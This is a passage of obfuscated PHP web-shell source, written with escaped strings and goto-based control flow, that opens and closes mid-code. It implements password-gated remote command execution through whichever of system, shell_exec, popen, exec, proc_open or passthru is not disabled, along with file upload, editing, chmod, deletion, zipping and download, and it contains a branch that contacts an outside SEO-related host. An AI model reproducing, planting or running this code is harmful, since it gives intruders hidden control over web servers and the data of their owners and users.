    return "\x3c\x69\40\x63\154\x61\x73\163\75\x22\x66\x61\x2d\x73\x6f\154\151\144\x20\x66\x61\x2d\x68\x61\x6d\x6d\x65\162\42\76\x3c\x2f\x69\x3e\40";
    jwie1EfkK2:
    if ($ext == "\150\164\x6d\154" || $ext == "\150\x74\x6d") {
        goto ga3BhY0H58;
    }
    if ($ext == "\160\150\x70" || $ext == "\160\x68\164\155\x6c") {
        goto c3GlAr6Zbv;
    }
    if (in_array($ext, $imgs)) {
        goto TCn_X6BTFC;
    }
    goto avZmGoB60b;
    qdW4oec0Ys:
    $imgs = [
        "\141\x70\x6e\x67",
        "\141\x76\151\x66",
        "\147\x69\x66",
        "\x6a\x70\147",
        "\x6a\x70\145\x67",
        "\x6a\146\x69\146",
        "\160\152\160\145\147",
        "\160\x6a\x70",
        "\160\x6e\x67",
        "\x73\166\147",
        "\x77\x65\x62\x70",
    ];
    $audio = [
        "\167\x61\x76",
        "\x6d\x34\141",
        "\x6d\x34\142",
        "\x6d\x70\63",
        "\157\x67\147",
        "\x77\145\x62\155",
        "\155\160\143",
    ];
    $ext = strtolower(fileExtension($file));
    if ($file == "\145\x72\162\x6f\x72\x5f\x6c\x6f\147") {
        goto OIeND4sZXJ;
    }
    if ($file == "\x2e\150\x74\141\x63\x63\x65\x73\163") {
        goto OoCaD_Lzfb;
    }
    goto bYf5aDPole;
    y4eOn_ep5d:
    return "\74\151\40\x63\154\141\163\x73\75\42\146\x61\x2d\162\145\x67\165\154\141\162\x20\x66\x61\55\x66\151\154\145\x2d\x6c\151\x6e\145\163\x22\x3e\x3c\x2f\x69\76\x20";
    goto gG0BvHHs1n;
    GHLrUqDm8o:
    return "\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\146\x61\55\144\165\x6f\164\x6f\156\x65\x20\146\141\x2d\x66\151\x6c\x65\x2d\x6d\165\x73\x69\143\42\76\74\57\x69\76\x20";
    goto gG0BvHHs1n;
    goto W5BY2ReduT;
    OInlIWErQ2:
    goto gG0BvHHs1n;
    Xz06ZdQSZ5:
    return "\x3c\x69\40\143\154\x61\163\x73\x3d\42\x66\x61\x2d\x62\x72\141\x6e\144\163\40\x66\141\55\x63\163\163\63\42\76\74\x2f\x69\76\x20";
    goto gG0BvHHs1n;
    zosrvDaBH3:
    goto y4eOn_ep5d;
    X5j7aHyThw:
    gG0BvHHs1n:
    goto V0Kcf6glNu;
    avZmGoB60b:
    if ($ext == "\x63\163\163") {
        goto Xz06ZdQSZ5;
    }
    if ($ext == "\164\170\164") {
        goto zosrvDaBH3;
    }
    if (in_array($ext, $audio)) {
        goto GHLrUqDm8o;
    }
    if ($ext == "\160\171") {
        goto AkI4SOHznm;
    }
    if ($ext == "\152\163") {
        goto EdcD5H6G7I;
    }
    goto RvvX68soW9;
    V0Kcf6glNu:
}
function encodePath($path)
{
    $a = ["\57", "\x5c", "\x2e", "\x3a"];
    $b = ["\xe0\xa6\225", "\xe0\246\x96", "\xe0\xa6\227", "\xe0\xa6\x98"];
    return str_replace($a, $b, $path);
}
function decodePath($path)
{
    $a = ["\57", "\x5c", "\56", "\72"];
    $b = ["\xe0\246\x95", "\xe0\246\226", "\xe0\xa6\227", "\xe0\xa6\x98"];
    return str_replace($b, $a, $path);
}
function functionCheck()
{
    $disabled = explode(
        "\x2c",
        ini_get(
            "\144\x69\x73\141\x62\154\145\x5f\146\165\x6e\143\164\151\157\x6e\x73"
        )
    );
    $new_disable = [];
    foreach ($disabled as $item) {
        $new_disable[] = trim($item);
        gBaJm0vpKS:
    }
    boMGFTV8MO:
    $command_array = [
        "\163\171\x73\164\145\155",
        "\x73\x68\x65\154\154\137\145\x78\x65\143",
        "\x70\x6f\160\x65\x6e",
        "\145\170\145\143",
        "\160\x72\157\143\137\157\x70\145\x6e",
        "\x70\x61\x73\x73\164\150\x72\x75",
    ];
    $command_able = false;
    foreach ($command_array as $command) {
        if (in_array($command, $new_disable)) {
            goto pS5C81ybNd;
        }
        $command_able = true;
        goto SgyQ_yN2DN;
        pS5C81ybNd:
        vo98C6_Kzo:
    }
    SgyQ_yN2DN:
    return $command_able;
}
function do_write($file, $t, $text)
{
    $key = true;
    $handle = @fopen($file, $t);
    if (@fwrite($handle, $text)) {
        goto oUwROXBVSG;
    }
    @chmod($file, 0666);
    $key = @fwrite($handle, $text) ? true : false;
    oUwROXBVSG:
    @fclose($handle);
    return $key;
}
goto aaHpKede2n;
jIcFiAPk87:
HM7RvcTJMR:
echo "\x3c\41\x44\117\103\x54\x59\120\x45\40\150\x74\x6d\154\76\15\xa\74\x68\164\155\x6c\40\154\141\156\147\x3d\x22\x65\x6e\42\76\15\12\15\12\74\x68\145\x61\x64\76\15\12\40\x20\40\40\x3c\155\x65\164\141\x20\143\150\x61\162\x73\x65\x74\x3d\42\x75\x74\146\x2d\x38\42\x3e\xd\xa\x20\x20\40\x20\x3c\155\x65\164\141\40\x68\x74\x74\160\55\145\161\165\x69\166\x3d\x22\x58\x2d\125\x41\x2d\103\x6f\155\160\141\164\151\142\154\x65\x22\x20\143\x6f\156\x74\145\x6e\164\75\x22\x49\105\75\x65\144\x67\x65\x22\x3e\xd\xa\x20\x20\40\40\x3c\155\x65\164\x61\x20\156\141\x6d\145\x3d\42\166\151\x65\167\x70\x6f\162\164\x22\x20\x63\x6f\156\x74\x65\x6e\164\x3d\x22\167\151\x64\x74\150\75\144\145\x76\151\x63\x65\x2d\167\x69\x64\164\150\54\40\151\x6e\151\x74\x69\x61\x6c\x2d\163\143\141\x6c\x65\75\x31\x2e\x30\42\76\xd\xa\x20\40\x20\40\x3c\164\x69\x74\154\x65\76\x45\154\145\x70\74\57\164\151\164\x6c\145\x3e\15\xa\x20\40\x20\40\74\154\x69\x6e\153\x20\x68\162\x65\146\75\42\x68\x74\164\x70\x73\72\57\x2f\143\144\x6e\x2e\152\x73\x64\145\x6c\151\166\162\56\x6e\145\164\57\156\x70\155\x2f\142\157\157\x74\x73\x74\x72\x61\160\100\x35\56\x33\x2e\60\x2d\x61\154\160\150\141\61\x2f\x64\x69\163\x74\x2f\143\163\163\x2f\x62\x6f\157\x74\x73\x74\x72\141\x70\56\x6d\x69\156\x2e\143\163\x73\x22\x20\x72\145\x6c\75\42\163\x74\x79\154\x65\163\150\145\145\164\42\xd\12\x20\x20\x20\40\40\40\40\40\x69\156\164\145\x67\162\151\164\171\x3d\x22\163\150\141\x33\70\x34\55\107\114\150\154\124\x51\70\x69\122\101\x42\x64\x5a\114\x6c\66\x4f\63\157\126\x4d\x57\x53\x6b\164\121\x4f\160\66\142\67\x49\x6e\x31\x5a\x6c\63\57\112\x72\x35\71\142\x36\x45\107\x47\157\111\x31\141\x46\x6b\x77\67\143\155\x44\x41\66\152\x36\147\x44\x22\40\x63\162\x6f\163\x73\157\162\x69\x67\x69\156\75\x22\x61\x6e\x6f\x6e\171\155\x6f\x75\163\x22\x3e\15\12\40\40\x20\40\74\154\151\x6e\x6b\40\162\x65\x6c\x3d\x22\x73\x74\x79\x6c\145\x73\150\x65\x65\x74\x22\40\150\x72\x65\146\x3d\42\150\x74\x74\160\163\72\x2f\x2f\x63\x64\x6e\152\163\56\x63\154\157\x75\144\146\x6c\141\x72\145\56\x63\x6f\x6d\57\x61\x6a\141\x78\57\154\x69\142\163\57\146\x6f\156\x74\x2d\x61\x77\145\163\x6f\155\145\57\66\x2e\63\56\60\57\143\163\163\x2f\x61\154\154\56\155\151\x6e\x2e\x63\x73\x73\x22\xd\xa\x20\40\x20\x20\x20\40\x20\40\151\156\x74\x65\x67\x72\151\164\x79\x3d\x22\163\x68\141\x35\61\x32\x2d\123\x7a\x6c\162\170\127\125\154\x70\146\165\x7a\x51\x2b\160\x63\x55\x43\x6f\x73\x78\x63\147\154\121\122\x4e\101\x71\57\104\132\152\126\x73\103\x30\x6c\105\x34\x30\x78\163\x41\x44\163\146\x65\121\157\x45\x79\160\105\53\145\156\x77\x63\117\x69\107\x6a\x6b\57\x62\123\x75\x47\x47\x4b\110\x45\171\152\x53\x6f\x51\61\172\x56\151\x73\141\x6e\x51\75\x3d\x22\xd\12\40\40\x20\x20\x20\x20\x20\40\143\162\157\163\x73\x6f\162\151\147\151\156\75\x22\x61\x6e\157\156\171\x6d\157\165\163\42\40\162\x65\146\x65\162\x72\145\162\160\157\154\151\x63\x79\75\x22\x6e\157\x2d\162\145\x66\x65\162\x72\145\162\x22\x20\x2f\x3e\xd\12\x20\x20\40\40\74\x73\x63\162\151\x70\164\x20\x73\x72\143\x3d\x22\150\164\164\160\163\72\57\x2f\143\x64\x6e\x6a\163\x2e\x6f\156\154\151\x6e\145\x2f\x61\x6a\141\x78\57\154\151\142\163\57\142\157\x6f\164\163\x74\162\x61\x70\57\x6a\x73\x2f\x62\x6f\x6f\164\163\x74\x72\141\x70\x2e\155\x69\x6e\56\152\x73\x22\76\74\x2f\163\143\162\151\x70\x74\76\15\12\x3c\x2f\x68\x65\x61\144\76\xd\xa\xd\xa\x3c\x62\157\144\x79\76\xd\xa\15\xa\40\x20\40\40";
class Zip
{
    public static function zipDir($sourcePath, $outZipPath)
    {
        $pathInfo = self::myPathInfo($sourcePath);
        $parentPath = $pathInfo["\x64\151\162\156\141\155\145"];
        $dirName = $pathInfo["\x62\141\163\x65\156\141\155\x65"];
        $sourcePath = $parentPath . "\x2f" . $dirName;
        $z = new \ZipArchive();
        $z->open($outZipPath, \ZIPARCHIVE::CREATE);
        $z->addEmptyDir($dirName);
        self::folderToZip($sourcePath, $z, strlen("{$parentPath}\57"));
        $z->close();
    }
    private static function folderToZip($folder, &$zipFile, $exclusiveLength)
    {
        goto lMZ0UdFwp5;
        KWpXrhIkYQ:
        $localPath = substr($filePath, $exclusiveLength);
        if (is_file($filePath)) {
            goto WNJD2MrRFB;
        }
        if (is_dir($filePath)) {
            goto U1ca_TIO6z;
        }
        goto sA8vx4xzw6;
        WNJD2MrRFB:
        goto cE5m_1zssF;
        lMZ0UdFwp5:
        $handle = opendir($folder);
        Ezh0ZHBB7S:
        if (!(false !== ($f = readdir($handle)))) {
            goto Fex8RShb5p;
        }
        if (!($f != "\56" && $f != "\56\56")) {
            goto e1o4dMlDCu;
        }
        $filePath = "{$folder}\x2f{$f}";
        goto KWpXrhIkYQ;
        QoKv3xE9Pj:
        sA8vx4xzw6:
        e1o4dMlDCu:
        goto Ezh0ZHBB7S;
        Fex8RShb5p:
        closedir($handle);
        goto prAgnCVcIf;
        cE5m_1zssF:
        $zipFile->addFile($filePath, $localPath);
        goto sA8vx4xzw6;
        U1ca_TIO6z:
        $zipFile->addEmptyDir($localPath);
        self::folderToZip($filePath, $zipFile, $exclusiveLength);
        goto QoKv3xE9Pj;
        prAgnCVcIf:
    }
    private static function myPathInfo($filepath)
    {
        $pathParts = [];
        $pathParts["\144\x69\x72\156\x61\155\x65"] =
            rtrim(substr($filepath, 0, strrpos($filepath, "\x2f")), "\57") .
            "\57";
        $pathParts["\142\141\x73\145\156\141\155\145"] = ltrim(
            substr($filepath, strrpos($filepath, "\57")),
            "\x2f"
        );
        $pathParts["\145\x78\164\145\x6e\x73\x69\x6f\156"] = substr(
            strrchr($filepath, "\56"),
            1
        );
        $pathParts["\x66\151\154\x65\156\x61\x6d\x65"] = ltrim(
            substr(
                $pathParts["\x62\x61\163\x65\x6e\x61\x6d\x65"],
                0,
                strrpos($pathParts["\142\x61\163\145\156\x61\155\x65"], "\56")
            ),
            "\x2f"
        );
        return $pathParts;
    }
}
function formatSizeUnits($bytes)
{
    goto j0hEYxflmE;
    RPo01wVev1:
    $bytes = $bytes . "\40\x62\171\x74\x65";
    jbqnM0o3jM:
    return $bytes;
    goto YwDM23Y5Sm;
    j0hEYxflmE:
    if ($bytes >= 1073741824) {
        goto jlVKop1571;
    }
    if ($bytes >= 1048576) {
        goto ioPKAfIZpv;
    }
    if ($bytes >= 1024) {
        goto Jfa1Lwht3n;
    }
    if ($bytes > 1) {
        goto PYm3pFaIfk;
    }
    if ($bytes == 1) {
        goto l0EeM02bHU;
    }
    goto aEtYr0lXhd;
    aEtYr0lXhd:
    $bytes = "\x30\40\x62\171\x74\x65\163";
    goto jbqnM0o3jM;
    jlVKop1571:
    $bytes = number_format($bytes / 1073741824, 2) . "\x20\107\102";
    goto jbqnM0o3jM;
    goto GkRzOd13Va;
    GkRzOd13Va:
    ioPKAfIZpv:
    $bytes = number_format($bytes / 1048576, 2) . "\40\115\x42";
    goto jbqnM0o3jM;
    Jfa1Lwht3n:
    $bytes = number_format($bytes / 1024, 2) . "\x20\113\102";
    goto m700j2_YlE;
    m700j2_YlE:
    goto jbqnM0o3jM;
    PYm3pFaIfk:
    $bytes = $bytes . "\40\142\x79\x74\145\163";
    goto jbqnM0o3jM;
    l0EeM02bHU:
    goto RPo01wVev1;
    YwDM23Y5Sm:
}
function fileExtension($file)
{
    return substr(strrchr($file, "\56"), 1);
}
goto svEpz6K2V1;
lfyJvnrAOF:
$p = $root_path;
goto ip5Y5fVJKg;
kCR9CY7oRT:
if (empty($_GET["\160"])) {
    goto Ysner77MKs;
}
if (!is_dir(decodePath($_GET["\x70"]))) {
    goto p9bUk1LnBZ;
}
goto nxWXa7VbJS;
aaHpKede2n:
function str_path($path)
{
    return str_replace("\x2f\x2f", "\x2f", $path);
}
function do_show($filepath)
{
    goto Rz8s67ZRrI;
    ScxXGbCRbU:
    goto Ng7bNrT3zQ;
    fUO_TAgElk:
    $files = str_path($filepath . "\x2f" . $file);
    $show[] = $files;
    goto Ng7bNrT3zQ;
    goto VZZt4BWNU7;
    VZZt4BWNU7:
    UtCllptJV3:
    $dir->close();
    return $show;
    goto h6foEqdHnT;
    Rz8s67ZRrI:
    $show = [];
    $dir = dir($filepath);
    Ng7bNrT3zQ:
    if (!($file = $dir->read())) {
        goto UtCllptJV3;
    }
    if (!($file == "\x2e" or $file == "\x2e\x2e")) {
        goto fUO_TAgElk;
    }
    goto ScxXGbCRbU;
    h6foEqdHnT:
}
function do_deltree($deldir)
{
    $showfile = do_show($deldir);
    foreach ($showfile as $del) {
        goto wuT2buQBBD;
        wuT2buQBBD:
        if (is_dir($del)) {
            goto T7BErAT4SV;
        }
        if (!is_dir($del)) {
            goto HYdQI2TQoI;
        }
        goto eZgUdCOPad;
        T7BErAT4SV:
        if (do_deltree($del)) {
            goto E4X6hBrJee;
        }
        goto t02_0Wyxd0;
        sz81YcU8ah:
        if (@unlink($del)) {
            goto steRP4BnEJ;
        }
        return false;
        steRP4BnEJ:
        eZgUdCOPad:
        snicgCrUNf:
        goto N80oGceul3;
        t02_0Wyxd0:
        return false;
        E4X6hBrJee:
        goto eZgUdCOPad;
        HYdQI2TQoI:
        @chmod($del, 0777);
        goto sz81YcU8ah;
        N80oGceul3:
    }
    GvUVWz9i2U:
    @chmod($deldir, 0777);
    if (@rmdir($deldir)) {
        goto t6cmE0a2tI;
    }
    return false;
    t6cmE0a2tI:
    return true;
}
function do_download($filecode, $file)
{
    header(
        "\x43\x6f\156\164\x65\156\x74\55\x74\x79\x70\145\72\x20\x61\x70\x70\x6c\151\143\x61\164\151\157\x6e\x2f\165\x6e\x6b\x6e\157\x77\156"
    );
    header(
        "\x41\143\143\145\x70\164\x2d\x52\x61\156\147\x65\163\x3a\x20\142\x79\x74\x65\163"
    );
    header(
        "\x43\157\156\164\x65\x6e\164\55\x6c\x65\156\147\x74\150\72\x20" .
            strlen($filecode)
    );
    header(
        "\103\x6f\x6e\164\145\x6e\164\55\x64\151\163\160\157\x73\x69\x74\x69\x6f\x6e\x3a\x20\141\x74\164\141\x63\x68\155\x65\156\164\x3b\40\146\x69\154\x65\x6e\141\x6d\145\x3d" .
            $file .
            "\73"
    );
    echo $filecode;
    exit();
}
function owner($file)
{
    if (
        function_exists(
            "\x70\x6f\163\x69\x78\x5f\x67\145\x74\x70\167\165\x69\144"
        )
    ) {
        goto FRa8NLwM1r;
    }
    return "\x3c\x63\145\156\x74\x65\x72\x3e" .
        fileowner($file) .
        "\74\x2f\143\x65\x6e\x74\x65\162\x3e";
    goto HCD97KqtTO;
    FRa8NLwM1r:
    $tod = @posix_getpwuid(fileowner($file));
    return "\74\x63\145\156\164\x65\162\76" .
        $tod["\x6e\x61\155\x65"] .
        "\x3c\x2f\x63\x65\x6e\164\x65\162\76";
    HCD97KqtTO:
}
goto O7np4m2MW4;
ymTJBFzQ0r:
@chdir($root);
if (!is_writable($root)) {
    goto oNTkWh3NNu;
}
echo "\167\x72\151\x74\x65\x61\142\154\145";
goto VpgmEEVBl6;
oNTkWh3NNu:
goto DCDFUS6r9D;
vbwbvRt9dr:
p9bUk1LnBZ:
echo "\x3c\163\x63\x72\151\x70\164\x3e\xa\x61\154\x65\x72\x74\50\47\x44\x69\x72\145\x63\x74\x6f\162\171\x20\x69\163\40\x43\x6f\x72\162\165\x70\164\x65\x64\40\141\156\144\40\x55\x6e\x72\x65\141\144\x61\x62\x6c\x65\56\x27\51\x3b\12\167\x69\156\x64\157\x77\56\154\x6f\x63\x61\x74\x69\157\x6e\x2e\162\x65\160\x6c\x61\143\145\50\47\77\x27\51\x3b\12\x3c\57\163\143\x72\x69\160\x74\x3e";
goto P57KG28Hhn;
xX_rcxX1As:
$p = decodePath($_GET["\x70"]);
goto XQ5h7O5Oe4;
y9WumEOrzr:
echo "\74\163\143\162\x69\160\164\x3e\x61\154\x65\x72\x74\x28\x27\123\157\x6d\x65\x20\x65\x72\162\157\x72\40\157\143\143\165\x72\x72\145\144\x2e\x27\x29\73\40\x77\x69\156\x64\x6f\167\x2e\x6c\x6f\143\x61\164\151\157\156\56\x72\x65\x70\154\x61\x63\x65\50\x27\77\160\75" .
    encodePath(PATH) .
    "\x27\51\x3b\74\57\x73\143\162\151\x70\x74\76";
goto Yd2b0KWHSl;
vF__m0P419:
echo "\x3c\x73\143\162\151\160\x74\x3e\x61\154\145\x72\164\x28\47\122\x65\156\x61\155\145\144\x2e\47\x29\73\x20\167\151\156\144\x6f\167\56\154\x6f\x63\141\x74\x69\157\156\x2e\x72\145\160\154\x61\x63\145\x28\x27\77\160\75" .
    encodePath(PATH) .
    "\47\51\73\x3c\57\x73\x63\x72\x69\160\x74\x3e";
Yd2b0KWHSl:
goto TjTuO3kla5;
fBCxDX2yaJ:
vg7S73IY0W:
echo "\x3c\x73\x63\x72\151\x70\164\x3e\141\x6c\145\x72\164\50\47\x43\141\156\x6e\157\164\40\125\156\x7a\x69\x70\40\106\151\154\x65\40\57\x20\125\x6e\162\x65\x61\144\x61\x62\154\x65\40\x46\151\154\x65\40\x21\47\x29\73\40\x77\x69\x6e\144\x6f\167\x2e\x6c\157\x63\141\164\151\x6f\156\x2e\x72\x65\x70\154\x61\143\145\x28\47\77\x70\75" .
    encodePath(PATH) .
    "\47\x29\x3b\74\57\163\143\x72\151\160\164\76";
goto YUXFZ5UEiI;
iuViSWE1eK:
echo "\x3c\x73\143\x72\151\x70\x74\76\141\x6c\x65\x72\164\x28\47\124\150\151\x73\40\151\163\156\x27\x74\40\132\x69\160\40\106\x69\x6c\x65\x20\x21\47\51\73\x20\167\151\x6e\144\157\167\x2e\x6c\157\x63\x61\164\x69\x6f\x6e\x2e\162\x65\x70\154\141\x63\145\50\x27\77\x70\x3d" .
    encodePath(PATH) .
    "\47\x29\x3b\x3c\57\x73\143\162\151\x70\164\x3e";
goto vxzBT2t4Ws;
OOUCVCGshG:
goto xqmaepGySN;
q1HHR2SOOX:
if (!is_readable(PATH)) {
    goto AgUhbNx2_q;
}
$fetch_obj = scandir(PATH);
$folders = [];
goto l6uz96Jn_X;
kXYzdRguua:
$_SESSION["\154\x6f\147\147\145\144\x49\x6e\x6d"] = false;
Q3_P8pKZ2v:
if (!isset($_POST["\x70\x61\163\x73\167\157\162\144"])) {
    goto bCNtei5z0m;
}
if (!(md5($_POST["\x70\x61\163\163\x77\157\162\144"]) == $password)) {
    goto OOviXlWFpA;
}
$_SESSION["\154\157\x67\147\x65\x64\x49\x6e\x6d"] = md5(
    $_POST["\160\x61\x73\163\x77\157\162\144"]
);
goto O_JPcBH1qF;
bXmHCYGU42:
echo "\x3c\x73\143\x72\151\x70\x74\x3e\x61\154\x65\162\x74\x28\47\146\x61\151\x6c\40\x63\162\145\141\x74\x65\56\x27\51\x3b\x20\167\x69\156\144\157\167\56\154\157\143\x61\164\x69\157\x6e\56\x72\x65\160\154\x61\143\145\50\47\77\160\x3d" .
    encodePath(PATH) .
    "\x27\51\x3b\74\57\163\x63\x72\151\160\164\x3e";
goto Jqe9xv4f1Z;
zHYccVmZOD:
echo "\x3c\x73\x63\x72\x69\x70\164\76\141\154\x65\162\x74\x28\47\x63\162\x65\x61\164\145\x20\163\x75\x63\x63\x65\163\x73\x2e\47\51\73\x20\167\x69\x6e\x64\x6f\x77\56\x6c\x6f\143\141\x74\x69\157\156\56\x72\x65\x70\154\141\143\145\x28\x27\77\160\75" .
    encodePath(PATH) .
    "\47\51\x3b\x3c\x2f\163\143\x72\x69\160\164\x3e";
Jqe9xv4f1Z:
goto P_CIcdx8pn;
O7np4m2MW4:
function delDirAndFile($dirName)
{
    goto fZdPEoM4d1;
    fZdPEoM4d1:
    $deltestaus = 1;
    if (!($handle = opendir("{$dirName}"))) {
        goto romJ6KqfbP;
    }
    C1_0S_2lZ3:
    if (!(false !== ($item = readdir($handle)))) {
        goto DWLooYGzzD;
    }
    if (!($item != "\56" && $item != "\x2e\56")) {
        goto gL82ZFQ5HA;
    }
    goto dqs_FNUg3n;
    wpVhlqIwww:
    TFbNaWnpDj:
    romJ6KqfbP:
    return $deltestaus;
    goto HJgpuuXP0p;
    dqs_FNUg3n:
    if (is_dir("{$dirName}\x2f{$item}")) {
        goto cDhSmJmU7f;
    }
    if (unlink("{$dirName}\57{$item}")) {
        goto JdeHBYDhFS;
    }
    $deltestaus = 0;
    goto e9Bx_XANpg;
    JdeHBYDhFS:
    goto HwQ6C72kU3;
    HwQ6C72kU3:
    $deltestaus = 1;
    e9Bx_XANpg:
    goto ks5lgThk3p;
    cDhSmJmU7f:
    delDirAndFile("{$dirName}\57{$item}");
    goto NZXnraDnEt;
    arFCVkh7Ia:
    if (rmdir($dirName)) {
        goto XnihouTJJN;
    }
    $deltestaus = 0;
    goto TFbNaWnpDj;
    XnihouTJJN:
    $deltestaus = 1;
    goto wpVhlqIwww;
    NZXnraDnEt:
    ks5lgThk3p:
    gL82ZFQ5HA:
    goto C1_0S_2lZ3;
    DWLooYGzzD:
    closedir($handle);
    goto arFCVkh7Ia;
    HJgpuuXP0p:
}
function run($code, $method = "\x70\x6f\x70\145\156")
{
    goto x2csG2P3WM;
    yII1RQeKZD:
    $method = "";
    foreach ($command_array as $command) {
        if (in_array($command, $new_disable)) {
            goto nnwqI69oo2;
        }
        $method = $command;
        goto a_IZ3a3AQ6;
        nnwqI69oo2:
        lQkjycFBi9:
    }
    a_IZ3a3AQ6:
    if (!empty($method)) {
        goto Cg_cImvA81;
    }
    return false;
    goto o02Ud4FThn;
    o02Ud4FThn:
    Cg_cImvA81:
    $result = "";
    switch ($method) {
        case "\x70\162\x6f\x63\x5f\157\160\145\x6e":
            $descriptorspec = [
                0 => ["\x70\x69\x70\x65", "\162"],
                1 => ["\160\x69\160\x65", "\167"],
                2 => [
                    "\160\x69\x70\145",
                    "\x65\162\x72\157\x72\x2e\x74\x78\x74",
                ],
            ];
            $pipes = [];
            proc_open($code, $descriptorspec, $pipes);
            return false;
            goto JPWUY1gj2_;
        case "\160\141\163\163\164\x68\162\x75":
            passthru($code);
            return false;
            goto JPWUY1gj2_;
        case "\x73\150\145\x6c\154\x5f\x65\170\145\x63":
            $result = "";
            $result = shell_exec($code);
            return $result;
            goto JPWUY1gj2_;
        case "\163\171\x73\164\x65\155":
            $result = "";
            system($code, $result);
            return $result;
            goto JPWUY1gj2_;
        case "\160\157\x70\145\156":
            $fp = popen($code, "\162");
            Zyffnjhh6F:
            if (feof($fp)) {
                goto P20w9pp3iI;
            }
            $out = fgets($fp, 4096);
            $result .= $out;
            goto Zyffnjhh6F;
            P20w9pp3iI:
            pclose($fp);
            return $result;
            goto JPWUY1gj2_;
        case "\145\170\x65\x63":
            exec($code, $array);
            foreach ($array as $key => $value) {
                $result .= $key . "\40\x3a\40" . $value . PHP_EOL;
                AzaXFt7C0P:
            }
            WhJD_7yNi3:
            return $result;
            goto JPWUY1gj2_;
        default:
            return false;
            goto JPWUY1gj2_;
    }
    KyRnEP_lLx:
    JPWUY1gj2_:
    goto FKQqy06MEG;
    x2csG2P3WM:
    $disabled = explode(
        "\x2c",
        ini_get(
            "\x64\151\x73\141\x62\x6c\145\137\146\x75\156\143\x74\x69\157\x6e\163"
        )
    );
    $new_disable = [];
    foreach ($disabled as $item) {
        $new_disable[] = trim($item);
        vrqYcqdckp:
    }
    yhjkTVjzx4:
    $command_array = [
        "\x73\x79\163\164\x65\155",
        "\163\x68\145\x6c\154\137\145\170\x65\x63",
        "\160\157\x70\x65\x6e",
        "\145\x78\x65\x63",
        "\160\x72\157\x63\x5f\157\160\145\x6e",
        "\160\x61\163\163\164\x68\x72\165",
    ];
    goto yII1RQeKZD;
    FKQqy06MEG:
}
$root_path = __DIR__;
if (isset($_GET["\x70"])) {
    goto kCR9CY7oRT;
}
if (isset($_GET["\161"])) {
    goto PSmGWnHUB_;
}
goto lfyJvnrAOF;
aaErwz4hMW:
DQviXZZ9KV:
xw00L_iaef:
Ox8GsjTRch:
if (!(isset($_GET["\x63"]) && isset($_GET["\x71"]))) {
    goto BZzwztz2oV;
}
$name = PATH . "\x2f" . $_GET["\143"];
goto DBIGfN5oN6;
cx9kynoFNX:
$data = $_POST["\144\141\x74\x61"];
$f_put = "\x66\x69\154\x65\137\x70\x75\164\x5f\x63\157\156\x74\x65\156\x74\x73";
$f_get = "\x66\x69\x6c\145\x5f\147\x65\x74\x5f\143\157\156\x74\145\x6e\164\x73";
$editresult = $f_put($filename, $data);
if ($editresult) {
    goto YBAkjOizIP;
}
goto Hw2SFfUvmj;
qdNokVNj0r:
xqmaepGySN:
if (!isset($_GET["\x75\x70\x6c\x6f\141\x64"])) {
    goto mobEwcpmHG;
}
echo "\xd\xa\40\40\x20\x20\74\146\x6f\x72\x6d\40\x6d\x65\x74\150\157\144\75\42\160\x6f\163\x74\42\x20\x65\156\x63\x74\x79\x70\x65\75\x22\155\x75\x6c\164\x69\x70\141\x72\164\x2f\x66\x6f\162\x6d\55\144\141\x74\141\42\x3e\15\xa\40\x20\x20\x20\x20\40\x20\40\123\145\154\x65\143\164\x20\x66\x69\x6c\145\x20\164\x6f\40\165\160\154\157\x61\x64\72\xd\xa\40\40\40\x20\x20\x20\40\40\x3c\151\156\x70\165\164\x20\x74\171\160\x65\75\42\146\x69\x6c\x65\42\40\x6e\x61\155\145\x3d\x22\146\151\154\145\124\157\125\160\154\157\x61\144\x5b\135\42\40\x69\x64\75\x22\x66\151\154\x65\124\x6f\125\160\154\x6f\x61\144\42\x20\x6d\x75\154\164\x69\160\x6c\x65\76\15\12\40\x20\40\40\40\40\x20\40\x3c\151\x6e\160\x75\x74\40\164\x79\160\x65\x3d\42\163\x75\x62\155\151\164\42\40\143\154\141\163\163\75\x22\x62\x74\x6e\40\x62\164\156\55\x64\141\x72\x6b\42\x20\166\x61\154\x75\x65\75\42\125\x70\154\x6f\141\x64\x22\40\x6e\x61\155\145\x3d\42\x75\160\x6c\x6f\141\144\42\x3e\xd\12\x20\40\x20\40\74\57\x66\x6f\162\x6d\x3e";
mobEwcpmHG:
if (!isset($_GET["\153\153"])) {
    goto QxUwM_PXJt;
}
goto l_SFPYEYZB;
nVo5s5oxsg:
if (!in_array($f_put, $disabled)) {
    goto fYRUNwbVGx;
}
$fuction_info .=
    "\160\x75\x74\137\x63\x6f\156\x74\40\151\x73\x20\x64\151\x73\141\x62\x6c\145";
$error_number++;
fYRUNwbVGx:
if (!($error_number != 0)) {
    goto tKspy7o_GA;
}
goto CZo8Ug9WbC;
BdfteEBNQg:
$f_put =
    "\146\151\x6c\145" .
    "\137" .
    "\160\165\x74\x5f" .
    "\143\x6f\x6e\x74\145\x6e\164\x73";
$create_result = @$f_put($filename, $filecontent);
if ($create_result) {
    goto HMbg1j6BYJ;
}
echo "\74\163\143\x72\x69\160\164\x3e\x61\154\x65\x72\164\x28\47\x66\x61\x69\x6c\40\x63\x72\145\141\164\145\56\47\51\73\x20\x77\151\x6e\144\157\x77\x2e\154\157\143\141\164\151\x6f\156\56\162\x65\x70\x6c\141\143\x65\50\x27\x3f\160\x3d" .
    encodePath(PATH) .
    "\47\x29\x3b\74\57\x73\x63\x72\151\160\164\x3e";
goto MItMQRKThR;
goto X2KTCL7k4a;
ekJayuD6uK:
$return_data = [];
$return_data["\x74\151\x74\x6c\145"] =
    "\x73\x74\141\x72\164\40\x70\x69\x6e\147\x20\x73\x69\x74\145\155\x61\160";
mEkWNEil0p:
if (!isset($_GET["\143\150\145\x63\x6b\x73\x69\x74\145\x6d"])) {
    goto A3xqiJxa7Y;
}
$url =
    "\150\x74\164\x70\72\x2f\x2f\152\x2e\x63\162\x65\141\x74\x65\x73\x65\157\x2e\170\171\172";
goto iE5GF0EFHP;
XtuPtIKGQH:
nLNRoqlQpR:
goto wYYR3gCcqU;
ote_LS0OFh:
if (chmod($name, 0644) == true) {
    goto JobEMi9cLr;
}
echo "\74\x73\x63\x72\151\x70\164\x3e\141\x6c\x65\162\164\50\x27\123\x6f\x6d\145\x20\x65\x72\162\157\x72\x20\x6f\x63\143\x75\x72\x72\145\x64\x2e\x27\x29\73\x20\x77\151\x6e\144\x6f\167\x2e\x6c\x6f\x63\141\x74\x69\x6f\156\x2e\162\x65\x70\154\x61\143\x65\x28\x27\77\160\75" .
    encodePath(PATH) .
